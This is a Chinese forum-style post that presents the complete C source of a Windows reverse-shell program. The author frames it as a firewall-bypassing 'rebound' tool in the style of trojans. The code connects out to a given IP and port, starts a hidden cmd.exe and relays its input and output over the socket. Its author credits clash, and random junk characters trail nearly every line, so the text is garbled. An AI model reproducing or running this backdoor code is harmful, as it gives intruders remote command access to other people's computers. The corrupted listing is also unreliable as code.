这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WV2~(/hX&
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/* ============================== c#
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Rebound port in Windows NT dhW<p5
By wind,2006/7 t=i/xG: 5
===============================*/ OTE<x"=h
#include iD<6t_8),
#include R4SxFp
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#pragma comment(lib,"wsock32.lib") a1|c2kT
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void OutputShell(); xor TL8
SOCKET sClient; 2 h<U
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V!xwb:J
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void main(int argc,char **argv) 5z~\5x
{ >t0%?wj)Y
WSADATA stWsaData; ]~8v^A7u
int nRet; #
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SOCKADDR_IN stSaiClient,stSaiServer; ;E#\
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if(argc != 3) ~:EW>Fq%i
{ FsY(02
printf("Useage:\n\rRebound DestIP DestPort\n"); *NlpotW,f
return; +T2HE\
} _q)!B,y-/N
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WSAStartup(MAKEWORD(2,2),&stWsaData); vbp-`M(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j#VIHCzlr
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stSaiClient.sin_family = AF_INET; *,lh:
stSaiClient.sin_port = htons(0); W2eAhz&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,H39V+Y*
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }lP 5GT2
{ G52Z)^
printf("Bind Socket Failed!\n"); ZPyM>XK$4
return; @]=f?+y[ 2
} h$ Da&$uyI
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stSaiServer.sin_family = AF_INET; k|FSz#Y
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :<GfET Is
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /\J|Uj
{ cJ/]+|PQ
printf("Connect Error!"); ^VI,C|
return; `f)(Y1%.
} TvQ^DZbe
OutputShell(); [AR>?6G-
} \84v-VK
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void OutputShell() 8Kk\*8 <
{ q4ipumy*
char szBuff[1024]; kH?#B%N5
SECURITY_ATTRIBUTES stSecurityAttributes; ~Ltr.ci
OSVERSIONINFO stOsversionInfo; J :S'uxM
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yC
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STARTUPINFO stStartupInfo; | ^GyH$.
char *szShell; S|K}k:v8
PROCESS_INFORMATION stProcessInformation; v <Hb-~
unsigned long lBytesRead; S LGW:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ai;\@$ cq
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jN/ j\x'
stSecurityAttributes.lpSecurityDescriptor = 0; 6y
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stSecurityAttributes.bInheritHandle = TRUE; n &}s-`D
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C1QV[bJK
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `;F2n2@
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2z\;Q8g){r
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SW9fE:v
stStartupInfo.wShowWindow = SW_HIDE; u Z(? >
stStartupInfo.hStdInput = hReadPipe; {1~T]5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !>g:Si"
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GetVersionEx(&stOsversionInfo); 8&E}n(XE
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switch(stOsversionInfo.dwPlatformId) Dp!zk}f|
{ yA;W/I4
case 1: 9lspo~M
szShell = "command.com"; R^8{bP
break; V3.t;.@
default: #jS[
szShell = "cmd.exe"; LM.`cb;?G
break; ctJ&URCi#
} O4Dr ]Xc]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4~|<`vqN
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send(sClient,szMsg,77,0); Vb)zZ^va+
while(1) <B[G |FY,
{ '6S %9ahE
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4JO@BV >t
if(lBytesRead) j[e,?!8;
{ edpW8eND
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Kf.T\V4%
send(sClient,szBuff,lBytesRead,0); P))^vUt~
} V#^yX%
else (vyz;Ob
{ LP<<'(l`
lBytesRead=recv(sClient,szBuff,1024,0); `s/?b|,
if(lBytesRead<=0) break; $[(d X!]F
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ijedo/
} 0I%: BT
} x$B&L`QV
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return; G[z
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}